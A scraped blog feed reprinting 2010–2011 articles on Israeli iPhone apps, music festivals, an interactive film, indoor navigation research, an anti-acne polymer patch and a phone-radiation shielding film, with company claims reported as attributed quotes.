So if Highway 101 is backed up coming into San José, Waze will instantly tell you if Interstate 280 is the better bet. That’s a whole lot faster than waiting for the radio to report the latest jams every 15 minutes. And it’s one of the reasons the service has proved incredibly popular, with more than two million drivers signed up.

The automated aspect to Waze is particularly welcome, since texting while driving is a big no-no. But users stopped at a red light can more proactively input traffic information. And to really keep things safe, Waze turns off the keyboard when the car is in motion – neat!

Waze has other features – such as allowing drivers to build maps together, create private groups to share tips, and even play interactive social games.

Waze is free, in keeping with its 2006 roots as an open-source project called FreeMaps. The service began in Israel but is available all over the world.

4. Viber

Within three days of Viber’s launch in December 2010, some one million people had downloaded it. Two months later, the number is up to an overwhelming 10 million. What’s all the fuss about? Viber, a free app, aims to be the Skype-killer, a voice-over-IP phone service that integrates seamlessly into your iPhone’s contact list and allows you to make free calls to other Viber users anywhere in the world.

The app is drop-dead simple: Install it, and any other Viber users in your contact list show a Viber icon. Since the Viber app runs in the background (and the company claims it doesn’t drain the phone’s battery like Skype does), calling that contact for free is a single tap away.

Viber also doesn’t require any registration (another step saved) and uses your phone number as your ID. Contrast that with Skype, where you have to sign up for a unique ID and use only the Skype app to make calls. Viber “officially” only supports the iPhone, but savvy callers claim it works on the iPad and iPod Touch as well. Android and BlackBerry versions are coming soon.

5. Fring

Fring is another made-in-Israel app that allows free phone calls. Unlike Viber, Fring piggybacks on existing phone networks like Google Talk, ICQ, Twitter, Facebook and more, acting as a universal communications center for voice, chat and even video calls. You open the Fring app and get a separate contact list; you can then call any friends on the list at no cost.

For friends not on the list, “Fring Out” calls start at one cent per minute (although that can jump to as high as 44 cents per minute for far-flung locations like Samoa and Zimbabwe).

Fring got a big boost when the iPhone 4 with its front-facing camera came out last year, making video calls a major attraction (the upcoming iPad 2 is rumored to have the same feature).

The app also has a “Fring Stream” that consolidates all your Twitter tweets and Facebook updates (plus, of course, any Fring chats and calls) in one place.

There’s one service that’s noticeably missing from the Fring roster: Skype. Fring used Skype’s network to enable video calls for several years until December 2010, when they parted ways. Fring claims Skype blocked its service; Skype says Fring had been misusing its software and decided to pull out on its own. Either way, Fring is slightly less useful than it was six months ago.

6. Babller

Babller is a simple iPhone app that was an obvious product to be developed in multilingual, multicultural Israel. The app allows you to post status updates to Facebook, Twitter and LinkedIn in your preferred language and have it automatically translated into a variety of other lingos. The app works the other way around, too, translating posts you receive.

Babller is essentially Google Translate with built-in social networking integration. It’s not likely to be around for long – as soon as Google does its own Facebook translation mash-up, Babller will be out of here.

7. My6Sense

Owning an iPhone can quickly result in serious information overload. With your email, social network updates, tweets and RSS feeds all coming at you a mile a minute, you may find yourself sifting through hundreds (if not thousands) of messages and articles every day.

My6Sense aims to reduce the clutter by learning what you’re interested in and filtering the stream so that’s what you see. Focusing primarily on updates via RSS, My6Sense “learns” what you like by monitoring which articles you choose and which links you forward. You may view your subscriptions by most recent posts or by My6Sense recommendations.

What’s particularly cool is you don’t have to do anything – no tapping buttons to give a thumbs up or down to a particular piece of content, for example. The company calls its service “digital intuition” and it seems to be on to something. My6Sense has received media accolades including a “Best of 2010” award from ReadWriteWeb.

8. Libox

Consuming media on an iPhone or iPad is perhaps as popular as actually making a call. Despite its tiny screen, users love to watch video, show off pictures and, of course, listen to music. But how do you get your media content from your desktop computer or laptop onto your phone?

Apple’s answer is to synch via iTunes. But that requires plugging your mobile device into your computer. And you have to physically move files onto your phone, which means you can quickly bump up against your iPhone’s memory limit.

Israeli startup Libox lets you stream your media from home. There are two parts to the app – one that goes on your computer and scans your hard drives to find media, and a second that you download to your phone, which then streams the media from your computer via your regular cell service or WiFi. Libox also allows sharing media with friends, although that might put the company in hot water with copyright holders.

One downside: the app requires that your home computer be turned on with Libox running. That may not work for people whose laptops are their primary machine.

The company’s pedigree suggests that Libox will continue to innovate in future versions: The company’s founder is Erez Pilosof, who also founded Walla!, the Israeli equivalent to Yahoo and still an uber-popular Hebrew language site.

9. Touchoo

Buying your toddler an iPhone or iPod Touch is not as wacky an idea as it seems with Israeli startup Touchoo’s vision of creating interactive “touch” books for tykes. The company, which calls itself a publisher rather than a development house, has assembled a team of writers, illustrators, animators and programmers (all from Israel, for now) to create their touch books, and the company emphasizes that all book apps are made under the supervision of a developmental psychologist.

Featured first books include Benny the Cat and the touch-screen appropriate Thumbelina (based on the original classic from Hans Christian Andersen). Some of the books are available in multiple languages. Touching not only changes pages but triggers interactive fun (an animated character may jump out and sing).

Touchoo’s concept has already been proven … 20 years ago. When the first round of interactive multimedia products was being released on CD-ROM, one of the most popular genres was animated storybooks that both entertained and taught. Touchoo has simply updated a proven concept to the 21st century, where a click of the mouse has been replaced by a tap of a finger.

10. Appsfire

Appsfire is an app that lets you find other apps. Sure, you can always go searching in the Apple App Store or visit an app review site. But Appsfire uses the power of the crowd to recommend the best apps. As an Israeli company, its roster of “VIP” experts making recommendations is mostly culled from the Israeli tech scene; that will change as the app gains traction around the world. And there are plenty of “regular” users adding their favorite apps.

There’s also a separate iPad version called Appstream that, as its name suggests, has a moving stream of apps. You can tap on an app to preview it, and tap again to share a recommendation with friends or to buy the app. You can filter by just iPad apps or by free apps.

Appsfire and Appstream, by the way, are both free. Appsfire takes a cut of sales from app developers via an affiliate model.

This post originally appeared in March 2011 on the Israel21c website.

]]> https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/feed/ 1000 Something For Everyone at Israel’s Music Festivals https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/ https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/#comments Mon, 28 Feb 2011 10:07:43 +0000 https://bluminteractivemedia.com/?p=670

Despite this past summer’s flurry of over-hyped overseas cancellations, Israel’s music scene is thriving. Indeed, one need look no further than the extensive roster of festivals that paper the creative landscape – from the kabalistic city of Safed in the north, to the hedonistic beach town of Eilat in the south – to find a festival lurking in every corner. Whether you prefer jazz, rock, classical, choral, rap or klezmer, there’s surely an event tailored to your taste.

It wasn’t always this way. During the austerity years of the 1950s, festivals were hard to come by. One notable exception was the Ein Gev Festival which is still going strong, now in its 66th year. Held at Kibbutz Ein Gev on the eastern side of the Sea of Galilee during the intermediary days of Passover, it was originally conceived to bring culture to the “distant” northern region of the country.

In the festival’s early years, that included a wide variety of arts – from ballet and folklore to choral and orchestral works (including the Israel Philharmonic Orchestra which made the journey up from Tel Aviv).

More recently, the Ein Gev Festival has focused on presenting Hebrew music and choirs. There are now more than 70 vocal performances including every one of the country’s 300 singing groups, some of whom have been together for decades. While that gives the festival less of a cutting edge feel than it had in earlier years, it is still quite popular with Israelis who enjoy following along with the nostalgic classics of the country’s pioneering days.

The festival scene took a major leap forward in 1961 with the launch of the Israel Festival, which to this day remains the country’s cultural anchor, bringing together dozens of performances from both local and overseas acts in a three-week period from May until June. While there is no shortage of international acts playing individually throughout the year, the Israel Festival hosts the greatest concentration by far.

World renowned musicians (among them Isaac Stern, Alexander Schneider, Maureen Forrester, and Leonard Rose) in Tel Aviv for the first Israel International Music Festival, 1961 (Photo: GPO)

Originally staged at the Roman amphitheater in Caesarea, since the 1980s it has been centered in Jerusalem. The range of performances is staggering. In 2010, for example, among the 50 acts one could see a Lithuanian version of Shakespeare’s A Midsummer Night’s Dream; dance performances by the local Vertigo troupe and Argentina’s Nuevo Tango; Itzhak Perlman conducting a program of young musicians; a theatrical version of a story by Nikolai Gogol; and nightly jazz at the Jerusalem Theater. There are also free musical street performances.

Israel Festival 1998 - "Hi five" band performs songs by Naomi Shemer at Jerusalem's Sultan's Pool (Photo: GPO/Amos Ben Gershom)

From fringe to folk on a muddy hill

The 1980s saw a further awakening of the festival scene, most notably with the Acre Fringe Theater Festival, which was modeled on the acclaimed Edinburgh Fringe Festival. The Acre version presents mostly local theater companies, but the backdrop is particularly compelling: the Crusader castle setting and archaeological sites of Acre’s Old City.

Festival artistic director Avi Gibson Bar-El is delighted with the venue, which draws its power, he says, from “the gentleness of the sea, the power of the ancient walls, the smell of fish and lavender in a virtuoso juggling act between languages, cultures, and religions.”

Scene from a play at the Acre Fringe Theater Festival, 1900 (Photo: GPO/Alpert Nathan)

The festival was nearly shut down a few years ago due to riots between the Jewish and Arab populations in this mixed town, but has bounced back and now draws some 200,000 visitors a year. It is seen as a sort of staging ground for promising playwrights, producers and actors.

While the Israel Festival and the Acre Fringe Theater Festival feature music prominently in their programs, there is no shortage of exclusively musical events. One of the earliest and most enduring is the Jacob’s Ladder Folk Music Festival.

Founded by UK immigrants Yehudit and Menahem Vinegrad on a muddy kibbutz hill in 1978, the festival has grown to become an internationally recognized program that attracts talent from around the world and close to 5,000 Israeli folk music fans. It is held twice a year at the Kibbutz Nof Ginosar.

Fans of Jacob’s Ladder compare the festival favorably with similar events in Europe and the US. Indeed, the relatively small size of Jacob’s Ladder gives it a homier feel that is perhaps more fitting for small Israel. The festival has branched out beyond its folk and country roots; in recent years rock, blues and a smattering of World music (such as the Balkan-gypsy-Russian band Yolki Polki) fill out the three-day line-up.

Jacob’s Ladder takes place just north of Tiberias, on the opposite bank of the Sea of Galilee from the Ein Gev Festival. A bit further north you come to Safed, renowned both for its mystical Old City – the birthplace of much of today’s trendy kabala – and a funky artist’s quarter. Both are the unlikely setting for a festival featuring European Jewish “soul music,” or klezmer.

The Safed Klezmer Festival was launched in 1988 and now features more than 100 performances, which fill every nook and cranny of the city as well as the local Red Mosque. Local artists set up their wares on craft tables and there are salutes to non-klezmer musicians such as the late singing Rabbi Shlomo Carlebach.

Band performing at the Klezmer Festival in Safed, 2003 (Photo: GPO/Avi Ohayon)

The festival attracts upward of 15,000 visitors a year. Indeed, tallying up the demand for accommodations at the Ein Gev, Jacob’s Ladder and Klezmer Festivals, the upper Galilee region has experienced quite a boon.

At the opposite end of the country, the Red Sea Jazz Festival may be the best known overseas of Israel’s music extravaganzas. Taking place in Eilat (in and of itself an international destination, tucked between Egypt, Jordan and Saudi Arabia), this festival is a major draw for international talent.

Singer Ahinoam Nini performing at the Tel Aviv Jazz Festival, 1990 (Photo: GPO/Alpert Nathan)

Held over four days with nine concerts a night, six “clinics” and nightly jam sessions, plus an outdoor stage facing 4,000 seats, it’s no wonder that the festival has been graced by the likes of Chick Corea, the Mingus Big Band, Tower of Power, The Manhattan Transfer, Ricki Lee Jones, and Spyro Gyra since its inception in 1987.

 

Meanwhile, classical music fans can claim their share of the music on Israel’s burgeoning festival scene. The premiere event is the Abu Ghosh Vocal Music Festival, which takes place in the Israeli Arab village of the same name, just a10-minute drive from Jerusalem.

The festival is actually one of Israel’s veterans, inaugurated in 1957, but it was discontinued in 1971, to be re-launched in 1992. Music from Schubert to Bach, Mozart to Brahms, with a special “baroque hit parade” thrown in for good measure, is played in and around the Kiryat Yearim Church, with street performances popping up in the alleys, groves and grottos of the village.

– YouTube: The Moran Singers Ensemble, Abu Ghosh 2007
– YouTube: Opera at the Abu Ghosh festival

For hungry visitors, Abu Ghosh is also known for its outstanding hummus and knafe (an Arab dessert made with cheese and pistachio nuts), and the local restaurants do a brisk business during the weekend-long festival.

During the past 10 years, the festival landscape in Israel has taken a turn toward the new age. The biggest of the new age festivals is Boombamela. Launched in 1999, it is held during the intermediary days of Passover, and upwards of 40,000 people congregate on the Nitzanim beach between Ashdod and Ashkelon to go with the flow.

The festival grounds are divided into small “villages,” with a holistic area, which includes workshops in various forms of artistic expression, meditation and lots of yoga; a “green revolution” village, which – in full new age garb – describes itself as an “alternative universe that runs parallel to this one…waiting for you to switch sides” (it also features more plebian concerns such as a recycling center); a face and body painting area; and in recent years, a prayer quarter, for those who want to more fully observe the Sabbath.

The new age Boombamela festival at Nitzanim beach attracts more than 40,000 people

And then there’s the music, of course: Nightly concerts on the water; two trance dance floors in the sand with live DJ’s; and even belly dancing. And oh yes, for those with a less-inhibited vibe, there’s a separate nudist beach.

Sagol is a more laid back new age festival, which focuses on “love and meditation.” Sagol is the Hebrew word for “purple” (“the color of the third eye, signifying the metaphysical world,” its organizers say), the Sagol Festival is held twice a year and attracts a turnout of around 5,000 for those “seeking spiritual essence and awareness.” The main musical program is on Friday night and starts with the Kabbalat Shabbat (liturgical prayers welcoming the Sabbath) service.

The Sagol Festival, first held in 1993, is actually part of a bigger endeavor – the Sagol Eco-Village, which trains participants in sustainable building practices with mud, organic gardening, and daily meditation. Volunteers also set up the festival itself, which wanders between its home base in the Negev desert and locations further north (the Hof Dor beach and Beit Shean in the Jordan Valley have both hosted Sagol in recent years).

Israel’s many festivals take place primarily on weekends and during the Jewish holidays. One could argue that these art and music festivals serve as a counter-balance for non-observant Israelis to the more traditional rituals practiced by religious Jews, making them a sort of alternative spiritual nourishment.

In Jerusalem, however, festivals are not held on the weekends. That hasn’t led to a shortage of music, however. The capital’s leading event is the annual Hutzot HaYotzer festival, for more than 30 years the country’s largest arts and crafts extravaganza. Every evening at 9:00 pm Israeli superstars take to the stage in the historic Sultan’s Pool with the Old City walls looming above.

A live theater performance at the Jerusalem International Arts and Crafts Fair

In recent years, Hutzot HaYotzer’s musical line-up has included bad boy Aviv Gefen; indie rockers The Church of Reason; master of modern Israeli love ballads Ivri Lieder; outrageous rappers HaDag Nahash; and Mediterranean crooner Arkadi Duchin. And at NIS 40 (just over $10) a ticket, including both concert and entrance, it is undoubtedly Israel’s best festival deal.

The list of Israeli music festivals goes on. There’s ethnic, with the annual Oud festival dedicated to the Turkish instrument that looks a bit like a pear-shaped guitar. If you prefer something more dramatic, there’s the sunrise rock concert atop Masada at the Tamar Festival. Another festival devoted to a specific instrument is the Guitar Festival of the Desert, and for nostalgic Anglos there’s the annual Woodstock Revival.

Exclusively Jewish music is on hand at RockAmi, while energetic small label rock can be found at the In-D-Negev program. A tribute to music from Spain, Portugal and Belgium can be heard at the Dona Gracia Festival, while bible lovers will groove to the sounds of Ehud Banai and Dudu Fisher at the Bible and Love Festival.

Want to be sure to catch them all? Here’s a list of the top festivals in the country according to dates, along with links to their websites:

April (Passover)

May/June

July

August

September/October (Sukkot)

November

This article originally appeared in January on the Ministry of Foreign Affairs website.
A related article on the Top 10 Music Festivals in Israel is on the This Normal Life website.

]]> https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/feed/ 35 A Tech Revolution That Let’s You Choose the Plot https://bluminteractivemedia.com/2011/02/a-tech-revolution-that-lets-you-chose-the-plot/ https://bluminteractivemedia.com/2011/02/a-tech-revolution-that-lets-you-chose-the-plot/#comments Wed, 09 Feb 2011 13:33:51 +0000 https://bluminteractivemedia.com/?p=660

A poster for the interactive movie "Turbulence"

“All filmmaking is based on a lie,” says Israeli Professor Nitzan Ben-Shaul. “In the narrative structure of a movie, it appears that there is only one possible ending – that the way it’s presented is the way it has to be. But in life there are always options.”

To demonstrate his argument, Ben-Shaul of the Film and Television Department at Tel Aviv University has created the world’s first, fully interactive feature film where the viewer gets to decide at various points, in real time, how the action will progress. “It’s nothing short of revolutionary,” he says. “It has the possibility of turning every one of us into potential film directors.”

Ben-Shaul is not a technologist – he teaches classes in cinema studies at Tel Aviv University and has written several books including Mythical Expressions of Siege in Israeli Films and Hyper-Narrative Interactive Cinema: Problems and Solution. So to create his interactive movie, he partnered with Guy Avneyon who built a sophisticated patent-pending movie editor and standalone player.

The technology is still under construction, as is the company. Turbulence (also the name of Ben-Shaul’s interactive film) is just now being incorporated and seeking angel investment. For Ben-Shaul, that’s less important. His focus is the process of thinking through the making of an interactive movie.

Ben-Shaul points to the Gwyneth Paltrow hit Sliding Doors which presented two alternative paths that intersected, diverged and eventually arrived at a single conclusion.

Turbulence the film is similar, except that the viewer controls the points of departure. The 83-minute suspense/thriller is about three friends who meet by chance in New York 20 years after they participated in a demonstration in Israel and were arrested. At the time, the police pitted the three against each other, which led to accusations of betrayal. There is also a love story that is rekindled.

The interaction takes the form of “hot spots” that glow when the viewer can make a choice. At one point, for example, one of the Israelis has written a message to his lover on his cell phone. The viewer can click “Send” or “Cancel”. If the viewer hesitates too long, the action continues according to a pre-determined narrative path.

Unlike previous interactive attempts, the transitions in Turbulence are seamless, which means there is no point where the movie stops and a flashing button appears with big icons to click. Once a choice is made, the film immediately cuts to a new scene. “That’s the language of movies,” Ben-Shaul explains. “There could be 4,000 cuts in a film, but if you cut on motion, people don’t see the transition, they just see the flow.”

While viewers make choices throughout the viewing experience, the film regularly returns to the main narrative. This means the writers don’t have to create 10 entirely different scripts (although in Turbulence there are several alternate endings).

Ben-Shaul is adamant that interactivity is not a gimmick – like the first attempts at 3D in the 1950s and 1960s. But he warns that interactive films must be carefully planned to avoid the errors of more primitive experiments in the past.

These mistakes include what he refers to as the ‘computerization trap’. “Computers can generate endless possibilities, but that doesn’t help the viewer in terms of drama. It interests computers, but not humans!” he says. Good interactive drama, he adds, is actually about “option restriction”.

Interactive movie producers should also not try to emulate the gaming world, he cautions. “It’s not about scoring and puzzle-solving,” Ben-Shaul says. “It’s about creating real, life-like situations.”

Turbulence can currently be viewed on either a Mac or PC. But Ben-Shaul is most excited about the red-hot Apple iPad. With its touch screen and media consumption emphasis, “it’s the perfect device. The iPad is a main target,” Ben-Shaul says.

Behind the scenes at Turbulence

The technological secret behind the film comprises an editor that will be familiar to anyone who’s ever created a movie, with a timeline, audio control, and multiple tracks. There are various additions such as a library of clips and hot spots that can be easily inserted.

The aim is to sell a standalone version as well as plug-ins for professional editing systems such as Final Cut Pro, Adobe Premiere and Avid. Ben-Shaul and his team are also developing a scriptwriting tool that will ease the creation of a hyper-narrative.

Both grassroots and professional filmmakers should be empowered. “We’re not aiming toward automatic storytelling,” he says. “That’s like robots today, which are so far off from what humans can do.”

Turbulence isn’t the only software company making interactive movies. Israeli alternative rock sensation Yoni Bloch owns a company called Interlude, which is moving in the same direction. Earlier this year, Interlude produced a music video by pop singer Andy Grammar that includes seamless interactivity. YouTube also has its own very simple interactive functionality.

Ben-Shaul acknowledges the competition but says his system is further along, not to mention patented. Turbulence also gives viewers the ability to actually move an object on screen (for example, to slide a letter out of a drawer) rather than just click or touch a point on the screen.

The idea for Turbulence was hatched in response to one of Ben-Shaul’s courses about the “siege mentality in Israeli cinema.” The professor explains: “Israeli movies are very close-minded. It comes from the society and the political situation; from war and ethnic tensions. Interactivity and giving people options is the opposite.”

Interactive movies are primarily intended for an audience of one. But Ben-Shaul says it’s possible for an entire audience to get in on the fun. Turbulence was premiered at the Berkeley Film Festival this year where it won the prize for “best experimental feature.”

In a demonstration of the interactivity at the showing, Ben-Shaul’s wife (who also works at the company) canvassed the audience at each decision point. Ben-Shaul then clicked the viewer’s choice from his computer backstage.

In the future, Ben-Shaul would like to build a system where everyone in the audience has a controller, allowing the movie to move in the direction dictated by a majority vote. In the meantime, Ben-Shaul says the showing at Berkeley was “very successful. People loved it.”

Ben-Shaul hopes to show Turbulence in Israel, perhaps at one of the country’s Cinematheques, though nothing has been finalized yet. For now, interactive movie fans will have to visit Ben-Shaul in his office at Tel Aviv University or watch a TV news clip and interview with Ben-Shaul on Israel’s Channel 10 which provides a hint of the richness of interactive moviemaking.

Beyond entertainment, interactive video might even help to solve the Israeli-Palestinian conflict, Ben-Shaul suggests. Interactivity, he says, “develops thinking for people who are in what seems like an intractable conflict. It can be a real therapeutic tool.”

This article originally appeared on Israel21c.

]]> https://bluminteractivemedia.com/2011/02/a-tech-revolution-that-lets-you-chose-the-plot/feed/ 36419 The Next Big Thing: Indoor Navigation? https://bluminteractivemedia.com/2011/01/the-next-big-thing-indoor-navigation/ https://bluminteractivemedia.com/2011/01/the-next-big-thing-indoor-navigation/#comments Sun, 02 Jan 2011 15:56:00 +0000 https://bluminteractivemedia.com/?p=654

Amnon Dekel

I always enjoy Jeff Pulver’s networking “breakfasts” which he holds around the world. Pulver, a VoiP superstar and lately startup angel with a passion for Israel, usually hosts his breakfast shindigs in Tel Aviv, but last week he came to Jerusalem.

I approach a networking event like a Kiddush at shul. You want to flit around as much as possible (while not being too rude with quick getaways) but if you find yourself talking to someone particularly interesting, you stay put.

That was the case when I met up with Amnon Dekel. Dekel is an old friend (he used to run the Digital Media Studies program at the IDC in Herzeliya and hired me to teach a course) and he’s about to turn in his doctoral dissertation to Hebrew University. The topic: “indoor navigation.”

Dekel has identified a problem you probably never thought about, but that’s a potential “next big thing.” Mobile phones are great at using GPS to find their position outside. But they don’t work so well under a roof of, say, a library.

Dekel’s research specifies a methodology for locating objects such as books, and it doesn’t require transmitters to be installed all over the ceiling of the space. The idea is that you’d type in the title or author into your phone, and you’d receive a map telling you exactly which floor, section and even shelf you should head to.

Dekel has built a working prototype in the Harman Library on the Givat Ram campus of Hebrew University. His tests show that, using the system, it takes only half the time to find a book and people make less navigation mistakes and need less help from others to find the book.

The same technology could be used in warehouses, bookstores and manufacturing plants, Dekel says.

That’s not to say that it’s easy – staff at the physical site need to input data, items may need to be scanned – but it’s a fascinating start.

The system has yet to be commercialized (venture capitalists – take note). But, who knows (and Dekel will scold me for writing this), you could eventually crown yourself mayor of the Dewey decimal system!

This article appeared last year on the Israelity blog.

]]> https://bluminteractivemedia.com/2011/01/the-next-big-thing-indoor-navigation/feed/ 41 A New Patch Promises to Knock Out Acne https://bluminteractivemedia.com/2010/11/a-new-patch-promises-to-knock-out-acne/ https://bluminteractivemedia.com/2010/11/a-new-patch-promises-to-knock-out-acne/#comments Wed, 17 Nov 2010 20:10:57 +0000 https://bluminteractivemedia.com/?p=644

Teenagers suffering from acne will try anything to make the redness and infection go away, but current treatments have mixed results and numerous applications are usually necessary.

Now, Oplon, a three-year-old medical materials company in Rehovot in central Israel has come up with a unique “patch” that radiates an “energy field” that can knock out acne for good.

Beyond acne, Oplon, has high hopes for its technology which can also keep milk from spoiling, wipe out bacteria inside juice boxes, and even reduce the number of infections associated with hospital catheters.

Oplon works its magic by manufacturing polymers – a type of plastic – that have a very specific function: They disable microorganisms such as bacteria, fungi and viruses. The polymers create an energy field “that can kill every microbe ever heard of,” says Omer Gonen, Oplon’s CFO. The energy field is safe: “It doesn’t radiate, it doesn’t heat and it doesn’t chill.”

Rather, it’s a chemical adaptation of a mechanism that has long existed in nature to help animals and plants defend against similar attackers. Indeed, these energy fields are “all around us,” Gonen says. “They’re in the air, in the room, and it’s much more energy than we create with a polymer.”

Oplon’s acne treatment consists of a patch with the polymers inside which the acne sufferer applies overnight. Within six hours, the redness, pus and pain associated with the acne will be significantly reduced, Gonen says. “After 24 hours, the spot will be practically fully healed.” Best of all, “In most cases, it’s a one-time treatment,” he adds.

However, parents shouldn’t be too quick to rejoice, Gonen quips, “We don’t solve all the teenagers’ problems. Just the acne.” The acne patch, considered a ‘medical device’ and not a drug, will be on Israeli pharmacy shelves early next year, sold over-the-counter, with no need for a prescription.

Marketing to the US and Europe will come only after the patch has been thoroughly tested in Israel. In that sense, the country will be a sort of national guinea pig. “Israel is a controlled environment. We’re a relatively small country,” Gonen explains. “After a year or so, we’ll have a better sense of customers’ reactions.”

The price has yet to be determined, but Gonen is confident that it “won’t be a big barrier.” And if Oplon can break in, there’s a very large piece of pie waiting to be gobbled up – the market for acne solutions is estimated at $60 billion, he says.

A cure for acne is just the start. The same material in the polymer patch can be applied to the inside of milk and juice cartons to zap bacteria. That would represent a sea change for food manufacturers who today have two main options for keeping their products fresh. They can add preservatives or ‘hot fill’ the carton with a beverage heated to 70 degrees Celsius.

Both of those solutions have serious downsides. Preservatives may lead to health problems while hot filling destroys much of the nutritional benefit. Both affect taste. Hot filling also requires thicker plastic to hold the liquid while it’s cooling, which costs manufacturers more and causes additional damage to the environment.

Conceivably, a milk carton with Oplon’s polymers wouldn’t even have to be refrigerated after opening, Gonen suggests.

While the acne patch is essentially a stand-alone product, advancing fairly quickly, Oplon’s progress with the beverage-makers is somewhat slower. While it offers them many benefits, it also requires serious buy-in. Manufacturers would have to purchase new carton material, since you can’t just ‘spray’ the microbe-eating polymers on existing cardboard boxes. Nevertheless, Gonen is optimistic that Oplon can “correctly engineer the prototypes to fit a production line of a major company.”

A third application in the Oplon pipeline involves urinary catheters which, Gonen claims, are responsible for a full 50 percent of hospital-acquired infections (affecting some 90,000 Americans a year), resulting in more days away from home, greater expense, extra antibiotics and, of course, increased discomfort for the patient.

Gonen says that Oplon’s material can even kill “super bugs” – those microbes resistant to all current antibiotics – like MRSA (Methicillin-resistant Staphylococcus aureus) and VRE (Vancomycin-resistant enterococcus). Oplon is just beginning clinical studies with catheters, so we’ll have to wait a little longer for that application.

As is often the case, Oplon’s polymer product line was discovered entirely by accident. The company was founded by a number of scientists – both chemists and physicists (key among them was Uriel Halavee who founded printed circuit board maker Opal which was sold in 1996 to Applied Materials). The scientists were working on an intra-cellular drug delivery system but the experiment went wrong.

“If it was me, I would have thrown it all in the garbage can,” Gonen smiles. But the scientists reviewed their formulas and realized they were on to something even bigger. “It really was a mistake,” Gonen says modestly. “Like the discovery of penicillin.”

Oplon is headed by Avi Shani, a 42-year-old father of five who’s a physician by training. The company has 15 staff members and is looking to triple in size in the coming year. While Gonen wouldn’t reveal the source of the funds for that growth, he allowed that Oplon is “in contact with some huge potential partners.” The company previously raised $5 million from Wanaka Capital Partners in 2008.

Oplon’s products represent a “huge platform that will enable us to continue developing products for many years to come. Each product has a market in the billions,” Gonen concludes.

We’ll have to wait and see whether Oplon achieves all of its ambitious goals, but in the meantime the teenagers can break out the bubbly – acne relief is on its way.

This article appeared originally on the Israel21 website.

]]> https://bluminteractivemedia.com/2010/11/a-new-patch-promises-to-knock-out-acne/feed/ 33 New Product Deflects Cell Phone Radiation Away from Your Body https://bluminteractivemedia.com/2010/11/new-product-deflects-cell-phone-radiation-away-from-your-body/ https://bluminteractivemedia.com/2010/11/new-product-deflects-cell-phone-radiation-away-from-your-body/#comments Mon, 01 Nov 2010 10:51:17 +0000 https://bluminteractivemedia.com/?p=636

Does radiation from cell phones cause cancer? The jury is still out, with a recently released 10-year study organized by the World Health Organization saying no, and advocacy groups arguing that the research methodology was flawed.

Cell La Vie - peel on protection for your iPhone

Regardless of the controversy, a small Israeli startup isn’t taking any chances. In July, Wise Environment began selling a do-it-yourself kit to protect iPhone owners from radiation. The company claims that its product, dubbed Cell La Vie, reduces electromagnetic exposure from the phone by 98 percent.

The Wise Environment founders are on a mission. “Parents are driving their young kids to use cell phones, to keep in contact,” explains Ronny Gorlicki, Wise Environment’s vice president of business development. “But at the same time, they want to protect them from future problems,” even if it’s not certain that those problems really exist.

At only NIS 179 ($47), Gorlicki feels his product is a worthwhile investment “to defuse the question of what will happen 30 years down the road.”

Cell La Vie can be a bit daunting to install – it’s not a one-click software app, but a physical product – a thin film you apply to the front, back and sides of your iPhone with adhesive. The Cell La Vie kit also includes a spray and pump to make sure your phone is totally clean before you get started. “People are reticent in the beginning, fearful that they’ll screw things up,” Gorlicki says. “But it’s no problem to take it off and do it again. We’ll even send a replacement if necessary.”

Once affixed, the film acts to redirect radiation away from the body. “Inside the phone is an antenna,” Gorlicki explains. “The signal goes in all directions. We had to figure out how we can cover up the points where the radiation would penetrate the phone in the direction of the body while maintaining the quality of the transmission.”

Wise has so far focused only on the iPhone because of the extensive media buzz surrounding the device. “Even people who haven’t bought it are talking about it,” Gorlicki says, noting the “huge awareness in the market of ‘green’ in general and phone radiation in particular. We hear from people ‘I’d held back from buying an iPhone from concern about radiation. Now I just made the order because of your product.’ ”

Since every phone has its antenna in a different place, Wise will have to develop separate films for every type of phone – and for every version. For example, Cell La Vie doesn’t yet work with the iPhone 4, which has an entirely different type of antenna (one that has caused users no end of frustration due to inadvertently dropped calls).

Cell La Vie's Ronny Gorlicki

Wise is also focusing initially on smart phones. “They’re the ones with the higher price tag,” Gorlicki explains, “So people are more ready to invest in safeguarding themselves from radiation.” Smart phones, ironically, can increase their radiation levels as they detect signal strength. The lower the strength, the more the phone has to work to maintain a minimum quality of service, and as a result the radiation increases.

Wise Environment has other radiation-protection products in the pipeline (including one that may actually reduce radiation, not just guard against it) but is progressing slowly. That’s in no small part because the company is entirely bootstrapped; it’s relying now on sales from its iPhone product, which is available in Israel at iDigital’s Apple Stores and the stationary chain Kravitz, to finance future production. Gorlicki is optimistic and says sales are going well, pointing out that “There have already been reorders.”

However, given the company’s scarce cash situation, sales beyond Israel will have to rely on distributors. Gorlicki doesn’t anticipate opening a US or European office in the near future. And even if the patent pending Cell La Vie is as successful as anticipated, Gorlicki says that raising venture capital money will be tough.

He likens the Cell La Vie product to a mezuzah: “You don’t know if it has prevented some hardships or brought good things to you,” he quips. “There’s no immediate gratification in that sense.” He says that the problem is with the VCs, who want to see immediate results.

This is not Gorlicki’s first outing with a product that doesn’t deliver satisfaction on first use. In a previous position at Wizcom, he was in charge of marketing the ‘Quicktionary’ – a digital pen that you run over printed text to translate it into multiple languages. “There was a real learning curve,” Gorlicki recounts, “You had to hold the pen correctly, to start and end it in the right place.”

Cell La Vie is not alone in the market; one of its better-funded competitors is Pong Research, which has been reviewed widely, including in Wired Magazine and The New York Times. But Pong, by its own estimates, only reduces radiation by 60 percent and only from the front of the phone, Gorlicki points out. Both Pong and Wise have had their results verified, in Cell La Vie’s case at MET Labs, a California testing and certification company.

Gorlicki is proud that his product is entirely made in Israel and hopes that even as production ramps up in the future, the company will be able to resist the pressure to export manufacturing to China or another less-expensive location.

He says he would be delighted to cooperate with Tawkon, a company whose product indicates to smart phone users when their radiation levels are too high. They would be a good match because Tawkon detects the radiation and prompts users to take simple actions like “put the phone on speaker,” while Cell La Vie actually does something about the radiation emanating from the unit itself.

Regarding the WHO study, Gorlicki draws attention to the fact that the research was in part funded by the phone companies themselves. The study followed thousands of phone users in 13 countries to see whether people who had brain tumors reported spending more time on cell phones during the previous decade than other people did. The researchers reported that they couldn’t find any cancer correlation with cell phone use.

